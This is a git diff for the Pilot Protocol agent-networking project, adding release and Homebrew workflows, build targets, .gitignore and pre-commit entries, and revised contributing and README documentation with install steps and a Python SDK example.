bin/pilotctl info --json 2>&1 | head -20 + echo " ✓ daemon B responds to info" + + echo "=== Health check ===" + PILOT_SOCK="$PILOT_HOME/a/pilot.sock" bin/pilotctl health --json 2>&1 | head -20 + echo " ✓ daemon A health OK" + + echo "=== Teardown ===" + kill $DA_PID $DB_PID $BEACON_PID $REG_PID 2>/dev/null || true + wait $DA_PID $DB_PID $BEACON_PID $REG_PID 2>/dev/null || true + rm -rf "$PILOT_HOME" + echo " ✓ all processes stopped cleanly" + echo "" + echo "=== HARNESS PASSED ===" + + release: + name: Create release + needs: harness + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - name: Download all artifacts + uses: actions/download-artifact@v4 + with: + path: artifacts + + - name: Collect archives + run: | + mkdir -p release + find artifacts -name '*.tar.gz' -exec cp {} release/ \; + ls -la release/ + + - name: Generate checksums + run: | + cd release + sha256sum *.tar.gz > checksums.txt + cat checksums.txt + + - name: Create GitHub release + uses: softprops/action-gh-release@v2 + with: + files: | + release/*.tar.gz + release/checksums.txt + generate_release_notes: true + draft: false + prerelease: ${{ contains(github.ref_name, '-rc') || contains(github.ref_name, '-beta') }} diff --git a/.github/workflows/update-homebrew.yml b/.github/workflows/update-homebrew.yml new file mode 100644 index 00000000..7f833d25 --- /dev/null +++ b/.github/workflows/update-homebrew.yml @@ -0,0 +1,153 @@ +name: Update Homebrew Formula + +on: + release: + types: [published] + +jobs: + update-formula: + if: "!github.event.release.prerelease" + runs-on: ubuntu-latest + steps: + - name: Get release info + id: release + run: | + TAG="${{ github.event.release.tag_name }}" + VERSION="${TAG#v}" + echo "tag=$TAG" >> $GITHUB_OUTPUT + echo "version=$VERSION" >> $GITHUB_OUTPUT + + - name: Download checksums + run: | + gh release download "${{ steps.release.outputs.tag }}" \ + --repo "${{ github.repository }}" \ + --pattern checksums.txt + cat checksums.txt + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + + - name: Parse checksums + id: checksums + run: | + echo "darwin_arm64=$(grep 'pilot-darwin-arm64.tar.gz' checksums.txt | awk '{print $1}')" >> $GITHUB_OUTPUT + echo "darwin_amd64=$(grep 'pilot-darwin-amd64.tar.gz' checksums.txt | awk '{print $1}')" >> $GITHUB_OUTPUT + echo "linux_arm64=$(grep 'pilot-linux-arm64.tar.gz' checksums.txt | awk '{print $1}')" >> $GITHUB_OUTPUT + echo "linux_amd64=$(grep 'pilot-linux-amd64.tar.gz' checksums.txt | awk '{print $1}')" >> $GITHUB_OUTPUT + + - name: Generate formula + run: | + TAG="${{ steps.release.outputs.tag }}" + VERSION="${{ steps.release.outputs.version }}" + cat > pilotprotocol.rb < "pilot-daemon" + bin.install "pilotctl" => "pilotctl" + bin.install "gateway" => "pilot-gateway" + bin.install "updater" => "pilot-updater" + end + + def post_install + (var/"pilot").mkpath + + config_dir = Pathname.new(Dir.home)/".pilot" + config_dir.mkpath + (config_dir/"bin").mkpath + + # Write version file for the auto-updater + version_file = config_dir/"bin/.pilot-version" + version_file.write "v#{version}\n" + + config_file = config_dir/"config.json" + unless config_file.exist? + config_file.write <<~JSON + { + "registry": "34.71.57.205:9000", + "beacon": "34.71.57.205:9001", + "socket": "/tmp/pilot.sock", + "encrypt": true, + "identity": "#{config_dir}/identity.json" + } + JSON + end + end + + def caveats + <<~EOS + Config written to ~/.pilot/config.json (if not already present). + + Get started: + pilotctl daemon start --hostname my-agent --email you@example.com + pilotctl info + + Docs: https://pilotprotocol.network/docs + + To start as background services: + brew services start pilotprotocol + EOS + end + + service do + run [ + opt_bin/"pilot-daemon", + "-registry", "34.71.57.205:9000", + "-beacon", "34.71.57.205:9001", + "-listen", ":4000", + "-socket", "/tmp/pilot.sock", + "-identity", "#{Dir.home}/.pilot/identity.json", + "-encrypt", + ] + keep_alive crashed: true + log_path var/"log/pilot-daemon.log" + error_log_path var/"log/pilot-daemon.log" + end + + test do + assert_match "pilotctl", shell_output("#{bin}/pilotctl --help 2>&1", 0) + end + end + RUBY + + # Remove leading whitespace from heredoc + sed -i 's/^ //' pilotprotocol.rb + cat pilotprotocol.rb + + - name: Push to homebrew-pilot + env: + GH_TOKEN: ${{ secrets.HOMEBREW_TAP_TOKEN }} + run: | + CONTENT=$(base64 -w 0 pilotprotocol.rb) + SHA=$(gh api repos/TeoSlayer/homebrew-pilot/contents/Formula/pilotprotocol.rb --jq '.sha') + + gh api repos/TeoSlayer/homebrew-pilot/contents/Formula/pilotprotocol.rb \ + -X PUT \ + -f message="Bump to ${{ steps.release.outputs.tag }}" \ + -f content="$CONTENT" \ + -f sha="$SHA" + + echo "Updated homebrew-pilot formula to ${{ steps.release.outputs.tag }}" diff --git a/.gitignore b/.gitignore index 17ce6c85..7fa985ff 100644 --- a/.gitignore +++ b/.gitignore @@ -1,6 +1,7 @@ # Compiled binaries bin/ build/ +_obj/ *.exe *.exe~ *.dll @@ -9,14 +10,32 @@ build/ # Cross-compiled Linux binaries (root level artifacts) *-linux -/pilotctl +# Root-level Go build outputs +/daemon +/registry +/beacon +/rendezvous +/pilotctl +/nameserver +/gateway +/updater +# caches +__pycache__ +.venv +venv # Test binary, built with `go test -c` *.test +tests/end-to-end/results +tests/integration/results +tests/developement-versions + # Output of the go coverage tool *.out *.prof +coverage/ +!coverage/badge.svg # Go workspace go.work @@ -33,13 +52,26 @@ go.work.sum .DS_Store Thumbs.db -# Docs — only track .tex, .pdf, SPEC.md, SKILLS.md, and media/ +# Docs — only track .tex, .pdf, SPEC.md, SKILLS.md, media/, ietf/, and research/ docs/* !docs/*.tex !docs/*.pdf !docs/SPEC.md !docs/SKILLS.md !docs/media/ +!docs/research/ +!docs/ietf/ + +# LaTeX build artifacts +*.aux +*.log +*.toc +*.fls +*.fdb_latexmk +*.synctex.gz + +.claude +AGENTS.md # Daemon socket *.sock @@ -50,4 +82,73 @@ docs/* # Temporary tmp/ +# Node / Astro (root-level Vite cache + web subdir) +.astro/ +node_modules/ web/node_modules/ +web/dist/ +web/.astro/ +web/.wrangler/ + +# Internal tooling +cmd/spoof/ +cmd/pilot-admin/ +tests/admin_cli_test.go + +# Blog messaging (internal) +web/MESSAGING.md + +# Stale pre-compiled HTML (Astro generates these at build time) +web/blog/*.html +web/blog/style.css +web/docs/*.html +web/docs/style.css + +# Banner source copies (single source of truth: web/public/blog/banners/) +web/blog/banners/ + +# Duplicate assets (source of truth: web/public/) +web/img/ +web/research/ + +# Newsletter worker +newsletter/ + +# BabyLoveGrowth webhook integration (deployment-only) +publish-worker/src/webhook.ts +publish-worker/test/webhook.test.ts + +# Console & admin (private — not public) +console +console-ui/ +cmd/console/ +cmd/pilot-admin/ +pkg/console/ +*.db +*.db-journal +*.db-wal +*.db-shm + +# Graph server (architecture tooling, not shipped) +docs/architecture/ +pilot-graph.db.backup-* + +# MCP config +.mcp.json + +# Survey / research scripts & outputs (ephemeral) +survey*.mjs +*-results.jsonl +results.jsonl +*-dashboard.html +dashboard.html +highlights.json +profiles.json +summary.json + +# Plans (ephemeral) +TRUST_DECAY_PLAN.md + +# Root-level npm (tooling only) +/package.json +/package-lock.json diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml new file mode 100644 index 00000000..056d9518 --- /dev/null +++ b/.pre-commit-config.yaml @@ -0,0 +1,31 @@ +repos: + - repo: local + hooks: + - id: go-fmt + name: go fmt + entry: bash -c 'gofmt -w -s . && git add -A' + language: system + files: \.go$ + pass_filenames: false + + - id: go-vet + name: go vet + entry: go vet ./... + language: system + files: \.go$ + pass_filenames: false + + - id: go-test + name: go test + entry: bash -c 'cd tests && go test -v -timeout 30s' + language: system + files: \.go$ + pass_filenames: false + + - id: go-coverage + name: update coverage badge + entry: make coverage + language: system + files: \.go$ + pass_filenames: false + stages: [pre-commit] diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 91ea328f..3a304443 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -12,8 +12,8 @@ Thank you for your interest in contributing to Pilot Protocol. This document cov ### Setup ```bash -git clone https://github.com/user/web4.git -cd web4 +git clone git@github.com:TeoSlayer/pilotprotocol.git +cd pilotprotocol go build ./... ``` @@ -25,6 +25,19 @@ go test -parallel 4 -count=1 ./tests/ The `-parallel 4` flag is required. Unlimited parallelism exhausts ports and sockets, causing dial timeouts and flaky failures. +#### Integration Tests + +Full integration tests against a real test network are available using Docker: + +```bash +cd tests/integration +make test # Run all integration tests +make test-cli # Run CLI tests only +make test-sdk # Run Python SDK tests only +``` + +These tests validate the entire stack (Go binaries + Python SDK) against **agent-alpha**, a public demo agent running on the network. See [tests/integration/README.md](tests/integration/README.md) for details. + ### Project Structure ``` @@ -46,6 +59,7 @@ pkg/ # Library packages secure/ # X25519 + AES-256-GCM encrypted connections dataexchange/ # Typed frame protocol (port 1001) eventstream/ # Pub/sub event broker (port 1002) + tasksubmit/ # Task lifecycle with polo score (port 1003) nameserver/ # DNS-equivalent name resolution (WIP) config/ # JSON config file support logging/ # Structured logging setup (slog) @@ -58,6 +72,9 @@ examples/ # Example applications httpclient/ # HTTP client over Pilot secure/ # Secure connection example config/ # Config file example +sdk/ # Language SDKs + python/ # Python SDK (see sdk/python/CONTRIBUTING.md) + cgo/ # CGO bindings tests/ # Integration tests (39 test files, 202+ passing) docs/ # Documentation SPEC.md # Wire specification @@ -65,6 +82,19 @@ docs/ # Documentation SKILLS.md # Agent skill definition ``` +## Contributing to the Python SDK + +See the **[Python SDK Contributing Guide](sdk/python/CONTRIBUTING.md)**. + +Quick start for Python SDK development: +```bash +cd sdk/python +python -m venv venv +source venv/bin/activate +pip install -e .[dev] +make test +``` + ## How to Contribute ### Reporting Issues @@ -102,7 +132,7 @@ docs/ # Documentation ### Architecture Notes -- The daemon is the only process agents need to run. Built-in services (echo, data exchange, event stream) start automatically +- The daemon is the only process agents need to run. Built-in services (echo, data exchange, event stream, task submit) start automatically - All daemon interaction goes through the IPC socket (Unix domain socket). The `driver` package provides the client side; the `daemon/ipc.go` provides the server side - The transport layer implements TCP-like semantics: SYN/ACK handshake, sliding window, SACK, congestion control (AIMD), flow control, Nagle, retransmission - Security is layered: tunnel-level encryption (all traffic between two daemons) and connection-level encryption (port 443, per-connection X25519 + AES-GCM) @@ -116,12 +146,43 @@ docs/ # Documentation ## Areas for Contribution +- **Python SDK**: Improve the Python SDK, add examples, enhance documentation (see [sdk/python/CONTRIBUTING.md](sdk/python/CONTRIBUTING.md)) - **Nameserver** (port 53): DNS-equivalent name resolution is WIP and needs implementation - **Tests**: expanding coverage, especially for edge cases in transport and security - **Documentation**: improving examples, tutorials, architecture docs - **Performance**: profiling and optimizing the transport layer - **Platform support**: testing on different OS/architectures +- **Language SDKs**: Create SDKs for other languages (JavaScript, Rust, Java, etc.) ## License By contributing to Pilot Protocol, you agree that your contributions will be licensed under the [GNU Affero General Public License v3.0](LICENSE). + + +--- + +## Development + +### Running tests + +```bash +make test # Run all tests +make coverage # Run tests with coverage and update badge +make coverage-html # Generate HTML coverage report +``` + +### Pre-commit hooks + +Set up automatic code quality checks before each commit: + +```bash +./scripts/setup-hooks.sh +``` + +This installs a git hook that automatically runs: +- `go fmt` - Code formatting +- `go vet` - Static analysis +- `go test` - All tests +- Coverage badge update + +To skip the hook temporarily: `git commit --no-verify` diff --git a/Makefile b/Makefile index f3d967ef..e60ff75c 100644 --- a/Makefile +++ b/Makefile @@ -1,6 +1,7 @@ -.PHONY: all build test clean vet ci release +.PHONY: all build test clean vet ci release coverage coverage-html console-ui build-console BINDIR := bin +COVERDIR := coverage VERSION := $(shell git describe --tags --always --dirty 2>/dev/null || echo "dev") LDFLAGS := -s -w -X main.version=$(VERSION) PLATFORMS := linux/amd64 linux/arm64 darwin/amd64 darwin/arm64 @@ -19,18 +20,49 @@ build: go build -o $(BINDIR)/pilotctl ./cmd/pilotctl go build -o $(BINDIR)/nameserver ./cmd/nameserver go build -o $(BINDIR)/gateway ./cmd/gateway - go build -o $(BINDIR)/webserver ./examples/webserver - go build -o $(BINDIR)/client ./examples/client - go build -o $(BINDIR)/echo ./examples/echo - go build -o $(BINDIR)/dataexchange ./examples/dataexchange - go build -o $(BINDIR)/eventstream ./examples/eventstream - go build -o $(BINDIR)/secure ./examples/secure + @test -d cmd/pilot-admin && go build -o $(BINDIR)/pilot-admin ./cmd/pilot-admin || true + go build -o $(BINDIR)/webserver ./examples/go/webserver + go build -o $(BINDIR)/client ./examples/go/client + go build -o $(BINDIR)/echo ./examples/go/echo + go build -o $(BINDIR)/dataexchange ./examples/go/dataexchange + go build -o $(BINDIR)/eventstream ./examples/go/eventstream + go build -o $(BINDIR)/updater ./cmd/updater + go build -o $(BINDIR)/secure ./examples/go/secure test: - go test -parallel 4 -count=1 ./tests/... + go test -parallel 4 -count=1 ./tests/ ./pkg/beacon/ + +coverage: + @mkdir -p $(COVERDIR) + @cd tests && go test -parallel 4 -count=1 -coverprofile=../$(COVERDIR)/coverage.out -covermode=atomic -timeout 30s + @go tool cover -func=$(COVERDIR)/coverage.out | tail -1 | awk '{print "Total coverage: " $$3}' + @go tool cover -func=$(COVERDIR)/coverage.out -o=$(COVERDIR)/coverage.txt + @./scripts/generate-coverage-badge.sh + +coverage-html: coverage + @go tool cover -html=$(COVERDIR)/coverage.out -o=$(COVERDIR)/coverage.html + @echo "Coverage report generated: $(COVERDIR)/coverage.html" clean: - rm -rf $(BINDIR) + rm -rf $(BINDIR) $(COVERDIR) + +# Build the C-shared library for the Python SDK (ctypes) +LIBNAME_DARWIN := libpilot.dylib +LIBNAME_LINUX := libpilot.so +LIBNAME_WIN := libpilot.dll + +sdk-lib: + @mkdir -p $(BINDIR) + CGO_ENABLED=1 go build -buildmode=c-shared -o $(BINDIR)/$(LIBNAME_$(shell uname -s | sed 's/Darwin/DARWIN/;s/Linux/LINUX/')) ./sdk/cgo/ + @echo "Built shared library in $(BINDIR)/" + +sdk-lib-linux: + @mkdir -p $(BINDIR) + CGO_ENABLED=1 GOOS=linux GOARCH=amd64 go build -buildmode=c-shared -o $(BINDIR)/$(LIBNAME_LINUX) ./sdk/cgo/ + +sdk-lib-darwin: + @mkdir -p $(BINDIR) + CGO_ENABLED=1 GOOS=darwin GOARCH=arm64 go build -buildmode=c-shared -o $(BINDIR)/$(LIBNAME_DARWIN) ./sdk/cgo/ # Build for Linux (GCP deployment) build-linux: @@ -40,12 +72,14 @@ build-linux: GOOS=linux GOARCH=amd64 go build -o $(BINDIR)/pilotctl-linux ./cmd/pilotctl GOOS=linux GOARCH=amd64 go build -o $(BINDIR)/nameserver-linux ./cmd/nameserver GOOS=linux GOARCH=amd64 go build -o $(BINDIR)/gateway-linux ./cmd/gateway - GOOS=linux GOARCH=amd64 go build -o $(BINDIR)/echo-linux ./examples/echo - GOOS=linux GOARCH=amd64 go build -o $(BINDIR)/client-linux ./examples/client - GOOS=linux GOARCH=amd64 go build -o $(BINDIR)/webserver-linux ./examples/webserver - GOOS=linux GOARCH=amd64 go build -o $(BINDIR)/dataexchange-linux ./examples/dataexchange - GOOS=linux GOARCH=amd64 go build -o $(BINDIR)/eventstream-linux ./examples/eventstream - GOOS=linux GOARCH=amd64 go build -o $(BINDIR)/secure-linux ./examples/secure + @test -d cmd/pilot-admin && GOOS=linux GOARCH=amd64 go build -o $(BINDIR)/pilot-admin-linux ./cmd/pilot-admin || true + GOOS=linux GOARCH=amd64 go build -o $(BINDIR)/updater-linux ./cmd/updater + GOOS=linux GOARCH=amd64 go build -o $(BINDIR)/echo-linux ./examples/go/echo + GOOS=linux GOARCH=amd64 go build -o $(BINDIR)/client-linux ./examples/go/client + GOOS=linux GOARCH=amd64 go build -o $(BINDIR)/webserver-linux ./examples/go/webserver + GOOS=linux GOARCH=amd64 go build -o $(BINDIR)/dataexchange-linux ./examples/go/dataexchange + GOOS=linux GOARCH=amd64 go build -o $(BINDIR)/eventstream-linux ./examples/go/eventstream + GOOS=linux GOARCH=amd64 go build -o $(BINDIR)/secure-linux ./examples/go/secure vet: go vet ./... @@ -53,6 +87,9 @@ vet: ci: vet test build build-linux @echo "CI: all checks passed" +# All binaries included in release archives +RELEASE_BINS := daemon pilotctl gateway registry beacon rendezvous nameserver updater + # Cross-platform release builds release: @mkdir -p $(BINDIR)/release @@ -60,12 +97,28 @@ release: os=$$(echo $$platform | cut -d/ -f1); \ arch=$$(echo $$platform | cut -d/ -f2); \ echo "Building $$os/$$arch..."; \ - for bin in $(CORE_BINS); do \ + mkdir -p $(BINDIR)/release/$$os-$$arch; \ + for bin in $(RELEASE_BINS); do \ CGO_ENABLED=0 GOOS=$$os GOARCH=$$arch go build -ldflags "$(LDFLAGS)" \ - -o $(BINDIR)/release/pilot-$$bin-$$os-$$arch ./cmd/$$bin; \ + -o $(BINDIR)/release/$$os-$$arch/$$bin ./cmd/$$bin; \ done; \ tar -czf $(BINDIR)/release/pilot-$$os-$$arch.tar.gz \ - -C $(BINDIR)/release pilot-daemon-$$os-$$arch pilot-pilotctl-$$os-$$arch pilot-gateway-$$os-$$arch; \ - rm $(BINDIR)/release/pilot-daemon-$$os-$$arch $(BINDIR)/release/pilot-pilotctl-$$os-$$arch $(BINDIR)/release/pilot-gateway-$$os-$$arch; \ + -C $(BINDIR)/release/$$os-$$arch .; \ + rm -rf $(BINDIR)/release/$$os-$$arch; \ done + @cd $(BINDIR)/release && shasum -a 256 *.tar.gz > checksums.txt @echo "Release archives in $(BINDIR)/release/" + +# Console (web management UI) — requires CGo for SQLite +console-ui: + cd console-ui && npm ci && npm run build + rm -rf pkg/console/ui + cp -r console-ui/build pkg/console/ui + +build-console: console-ui + @mkdir -p $(BINDIR) + CGO_ENABLED=1 go build -ldflags "$(LDFLAGS)" -o $(BINDIR)/console ./cmd/console + +build-console-linux: console-ui + @mkdir -p $(BINDIR) + CGO_ENABLED=1 GOOS=linux GOARCH=amd64 go build -ldflags "$(LDFLAGS)" -o $(BINDIR)/console-linux ./cmd/console diff --git a/README.md b/README.md index 20e59b07..b888ea94 100644 --- a/README.md +++ b/README.md @@ -6,40 +6,53 @@

The network stack for AI agents.
- Addresses. Ports. Tunnels. Encryption. Trust. Zero dependencies. + Addresses. Ports. Tunnels. Encryption. Trust.

+ Docs +  ·  Wire Spec  ·  Whitepaper  ·  + IETF Draft +  ·  Agent Skills  ·  - Vulture Labs + Polo (Live Dashboard)


Go - Zero Dependencies + Standard Library Only Encryption - Tests + Tests + IETF Internet-Draft License + Online Nodes + Trust Links + Requests +

--- -The internet was built for humans. AI agents have no address, no identity, no way to be reached. Pilot Protocol is an overlay network that gives agents what the internet gave devices: **a permanent address, encrypted peer-to-peer channels, and a trust model** -- all layered on top of standard UDP. +

+ Pilot Protocol Demo — two agents: install, trust, data exchange +

+ +The internet was built for humans. AI agents have no address, no identity, no way to be reached. Pilot Protocol is an overlay network that gives agents what the internet gave devices: **a permanent address, authenticated encrypted channels, and a trust model** -- all layered on top of standard UDP. -It is not an API. It is not a framework. It is infrastructure. +Agents register with a rendezvous service for discovery and NAT traversal. Application data flows directly between peers -- never through a central server. It is not an API. It is not a framework. It is infrastructure. --- ## The problem -Today, agents talk through centralized APIs. Every connection requires a platform in the middle. There is no way for two agents to find each other, establish trust, or communicate directly. +Today, agents talk through centralized APIs. Every message passes through a platform -- the platform sees all traffic, controls access, and becomes a single point of failure. ```mermaid graph LR @@ -52,31 +65,62 @@ graph LR style A3 fill:#4a9,stroke:#333,color:#fff ``` -Pilot Protocol removes the middleman. Each agent gets a permanent address and talks directly to peers over encrypted tunnels: +Pilot Protocol takes the platform out of the data path. A lightweight **rendezvous** service handles discovery and NAT traversal, but once agents find each other, they talk directly over authenticated, encrypted tunnels: ```mermaid graph LR A1[Agent A
0:0000.0000.0001] <-->|Encrypted UDP Tunnel| A2[Agent B
0:0000.0000.0002] A1 <-->|Encrypted UDP Tunnel| A3[Agent C
0:0000.0000.0003] A2 <-->|Encrypted UDP Tunnel| A3 + A1 -.->|discovery| RV[Rendezvous] + A2 -.->|discovery| RV + A3 -.->|discovery| RV style A1 fill:#4a9,stroke:#333,color:#fff style A2 fill:#4a9,stroke:#333,color:#fff style A3 fill:#4a9,stroke:#333,color:#fff + style RV fill:#888,stroke:#333,color:#fff ``` --- ## What agents get + + + + + +
+ +**Via CLI** + +```bash +pilotctl info +pilotctl set-hostname my-agent +pilotctl find other-agent +pilotctl send other-agent 1000 --data "hello" +pilotctl recv 1000 --count 5 --timeout 30s ``` -pilotctl info # Who am I? -pilotctl set-hostname my-agent # Claim a name -pilotctl find other-agent # Discover a peer -pilotctl send other-agent 1000 --data "hello" # Send a message -pilotctl recv 1000 --count 5 --timeout 30s # Listen for messages + + + +**Via Python SDK** + +```python +from pilotprotocol import Driver + +with Driver() as d: + info = d.info() + d.set_hostname("my-agent") + peer = d.resolve_hostname("other-agent") + with d.dial("other-agent:1000") as conn: + conn.write(b"hello") + data = conn.read(4096) ``` -Every command supports `--json` for structured output. Every error has a machine-readable code and an actionable hint. No interactive prompts. +
+ +Every CLI command supports `--json` for structured output. The Python SDK wraps the Go driver via ctypes FFI. See [`examples/python_sdk/`](examples/python_sdk/) for PydanticAI integration and more.
Example JSON output @@ -121,8 +165,8 @@ $ pilotctl --json find nonexistent **Security** -- Encrypt-by-default (X25519 + AES-256-GCM) -- Ed25519 identities with persistence +- Authenticated key exchange (Ed25519-signed X25519 + AES-256-GCM) +- Ed25519 identity keys bound to tunnel sessions - Nodes are private by default - Mutual trust handshake protocol (signed, relay via registry) @@ -148,6 +192,7 @@ graph LR D --- E[Echo :7] D --- DX[Data Exchange :1001] D --- ES[Event Stream :1002] + D --- TS[Task Submit :1003] end D <====>|UDP Tunnel
AES-256-GCM + NAT traversal| RD @@ -158,6 +203,7 @@ graph LR RD --- RE[Echo :7] RD --- RDX[Data Exchange :1001] RD --- RES[Event Stream :1002] + RD --- RTS[Task Submit :1003] end D -.->|register + discover| RV @@ -168,90 +214,24 @@ graph LR end ``` -Your agent talks to a local **daemon** over a Unix socket. The daemon handles everything: tunnel encryption, NAT traversal, packet routing, congestion control, connection management, and built-in services. You never touch sockets, ports, or crypto directly. +Your agent talks to a local **daemon** over a Unix socket. The daemon handles tunnel encryption, NAT traversal, packet routing, congestion control, and built-in services. The daemon maintains a connection to a **rendezvous** server (registry + beacon) for node registration, peer discovery, and NAT hole-punching. Once a tunnel is established, data flows directly between daemons -- the rendezvous is not in the data path. -The daemon connects to a **rendezvous** server that combines two roles: -- **Registry** (TCP :9000) -- node directory, trust relay, state persistence -- **Beacon** (UDP :9001) -- STUN-based NAT traversal +A public rendezvous is provided at `34.71.57.205:9000`, or you can run your own with `rendezvous -registry-addr :9000 -beacon-addr :9001`. -### Connection lifecycle - -```mermaid -sequenceDiagram - participant A as Agent A - participant DA as Daemon A - participant R as Registry - participant DB as Daemon B - participant B as Agent B - - Note over DA, DB: Both daemons register on startup - - A->>DA: pilotctl handshake agent-b - DA->>R: Handshake request (signed Ed25519) - R->>DB: Relay handshake - DB->>B: Pending trust request - - B->>DB: pilotctl approve - DB->>R: Approval (signed) - R->>DA: Trust established - - Note over DA, DB: Mutual trust established - - A->>DA: pilotctl connect agent-b --message "hello" - DA->>R: Resolve hostname - R-->>DA: Address + endpoint - DA->>DB: SYN (UDP tunnel, encrypted) - DB-->>DA: SYN-ACK - DA->>DB: ACK + data - DB->>B: Deliver message -``` - -### Gateway bridging - -```mermaid -graph LR - subgraph Standard Tools - C[curl / browser] - end - - subgraph Gateway Machine - C -->|TCP| GW[Gateway] - GW -->|Pilot Protocol| D[Daemon] - end - - D <====>|Encrypted UDP Tunnel| RD[Remote Daemon] - - subgraph Remote Machine - RD --> WS[Webserver :80
or any port] - end -``` - ---- - -## NAT traversal - -Pilot Protocol handles NAT automatically with a three-tier connection strategy: - -1. **Direct** -- If both peers have public endpoints (or Full Cone NAT), the tunnel connects directly using the STUN-discovered address. -2. **Hole-punch** -- For Restricted/Port-Restricted Cone NAT, the beacon coordinates simultaneous UDP sends from both sides to punch through the NAT. -3. **Relay** -- When hole-punching fails (Symmetric NAT), traffic is relayed through the beacon transparently. The daemon auto-detects and falls back. - -The beacon also sends periodic heartbeat keepalives to maintain NAT port mappings. Cloud NAT (GCP, AWS) uses Endpoint-Independent Mapping, so direct connections work even between two NATted nodes. - -No configuration is needed -- the daemon handles everything on startup. +For connection lifecycle details, gateway bridging, and NAT traversal strategy, see the [full documentation](https://pilotprotocol.network/docs/). --- ## Demo -A public demo agent (`agent-alpha`) is running on the Pilot Protocol network with auto-accept enabled. You can connect to its website from your machine: +A public demo agent (`agent-alpha`) is running on the network with auto-accept enabled: ```bash # 1. Install -curl -fsSL https://raw.githubusercontent.com/TeoSlayer/pilotprotocol/main/install.sh | sh +curl -fsSL https://pilotprotocol.network/install.sh | sh # 2. Start the daemon -pilotctl daemon start --hostname my-agent +pilotctl daemon start --hostname my-agent --email user@example.com # 3. Request trust (auto-approved within seconds) pilotctl handshake agent-alpha "hello" @@ -264,7 +244,6 @@ sudo pilotctl gateway start --ports 80 0:0000.0000.0004 # 6. Open the website curl http://10.4.0.1/ -curl http://10.4.0.1/status ``` You can also ping and benchmark: @@ -279,288 +258,39 @@ pilotctl bench agent-alpha ## Install ```bash -curl -fsSL https://raw.githubusercontent.com/TeoSlayer/pilotprotocol/main/install.sh | sh +curl -fsSL https://pilotprotocol.network/install.sh | sh ``` -The installer handles everything: - -- Detects your platform (linux/darwin, amd64/arm64) -- Downloads pre-built binaries from the latest release (falls back to building from source if Go is available) -- Installs `pilot-daemon`, `pilotctl`, and `pilot-gateway` to `~/.pilot/bin` (no sudo needed) -- Adds `~/.pilot/bin` to your PATH -- Writes `~/.pilot/config.json` with the public rendezvous server pre-configured -- Sets up a system service: - - **Linux**: creates a `systemd` unit (`pilot-daemon.service`) - - **macOS**: creates a `launchd` agent (`com.vulturelabs.pilot-daemon`) - -Set a hostname during install with the `PILOT_HOSTNAME` environment variable: - -```bash -curl -fsSL https://raw.githubusercontent.com/TeoSlayer/pilotprotocol/main/install.sh | PILOT_HOSTNAME=my-agent sh -``` - -### Uninstall +Set a hostname and email during install: ```bash -curl -fsSL https://raw.githubusercontent.com/TeoSlayer/pilotprotocol/main/install.sh | sh -s uninstall +curl -fsSL https://pilotprotocol.network/install.sh | PILOT_EMAIL=user@example.com PILOT_HOSTNAME=my-agent sh ``` -Stops the daemon, removes the system service, deletes binaries, config (`~/.pilot/`), and the IPC socket. - -### From source - -```bash -git clone https://github.com/TeoSlayer/pilotprotocol.git -cd pilotprotocol -make build -``` - -### Binaries - -| Binary | Description | -|--------|-------------| -| `pilot-daemon` | Core network agent. Manages tunnel, connections, and built-in services (echo, data exchange, event stream) | -| `pilotctl` | CLI tool for agents and operators. All daemon interaction goes through this | -| `pilot-gateway` | IP-to-Pilot bridge. Maps pilot addresses to local IPs for standard TCP tools (curl, browsers) | - -**Server binaries** (rendezvous, registry, beacon) exist in `cmd/` for running your own infrastructure. - ---- - -## Quick start - -### 1. Start the daemon - -```bash -pilotctl daemon start --hostname my-agent -``` - -Connects to the public rendezvous server automatically. The daemon auto-starts built-in services and runs in the background. - -The daemon auto-starts three built-in services: - -| Port | Service | Description | Disable flag | -|------|---------|-------------|-------------| -| 7 | Echo | Liveness probes, latency measurement, benchmarks | `-no-echo` | -| 1001 | Data Exchange | Typed frames (text, JSON, binary, file) with ACK | `-no-dataexchange` | -| 1002 | Event Stream | Pub/sub broker with topic filtering and wildcards | `-no-eventstream` | - -### 2. Use it - -```bash -# Check status -pilotctl info - -# Ping a peer -pilotctl ping other-agent - -# Send a message -pilotctl connect other-agent --message "hello" - -# Transfer a file (saved to ~/.pilot/received/ on target) -pilotctl send-file other-agent ./data.json +
+What the installer does -# Send a typed message -pilotctl send-message other-agent --data '{"status":"ready"}' --type json +- Detects your platform (linux/darwin, amd64/arm64) +- Downloads pre-built binaries from the latest release (falls back to building from source if Go is available) +- Installs `pilot-daemon`, `pilotctl`, `pilot-gateway`, and `pilot-updater` to `~/.pilot/bin` +- Adds `~/.pilot/bin` to your PATH +- Writes `~/.pilot/config.json` with the public rendezvous server pre-configured +- Sets up system services (**Linux**: systemd, **macOS**: launchd) for daemon and auto-updater +- The auto-updater runs in the background, checking for new releases every hour and applying updates automatically -# Subscribe to events (streams until Ctrl+C) -pilotctl subscribe other-agent status +**Uninstall:** `curl -fsSL https://pilotprotocol.network/install.sh | sh -s uninstall` -# Publish an event -pilotctl publish other-agent status --data "online" +**From source:** `git clone https://github.com/TeoSlayer/pilotprotocol.git && cd pilotprotocol && make build` -# Run throughput benchmark (1 MB default) -pilotctl bench other-agent -``` +
---- +### Python SDK -## Commands - -### Identity & Discovery - -| Command | Description | -|---------|-------------| -| `info` | Your address, hostname, node ID, status, connection table | -| `set-hostname ` | Claim a hostname on the network | -| `clear-hostname` | Remove your hostname | -| `find ` | Look up another agent by name | -| `set-public` | Make this node visible to all | -| `set-private` | Hide this node (default) | - -### Communication - -| Command | Description | -|---------|-------------| -| `send --data ` | Send a message to a port | -| `recv [--count n] [--timeout dur]` | Listen for incoming messages | -| `connect [port] --message ` | Send a message and get a response (default port: 1000). Supports pipe mode via stdin | -| `send-file ` | Transfer a file via data exchange (port 1001). Saved to `~/.pilot/received/` on target | -| `send-message --data [--type text\|json\|binary]` | Send a typed message via data exchange (port 1001). Saved to `~/.pilot/inbox/` on target | -| `subscribe [--count n] [--timeout dur]` | Subscribe to event stream topics (port 1002). Use `*` for all topics | -| `publish --data ` | Publish an event to a topic on the target's event stream broker | -| `listen [--count n]` | Raw port listener (NDJSON in `--json` mode) | -| `broadcast ` | Broadcast to all nodes on a network | - -### Trust - -Agents are **private by default**. Two agents must establish mutual trust before they can communicate. - -| Command | Description | -|---------|-------------| -| `handshake [reason]` | Request trust (auto-approves if mutual). 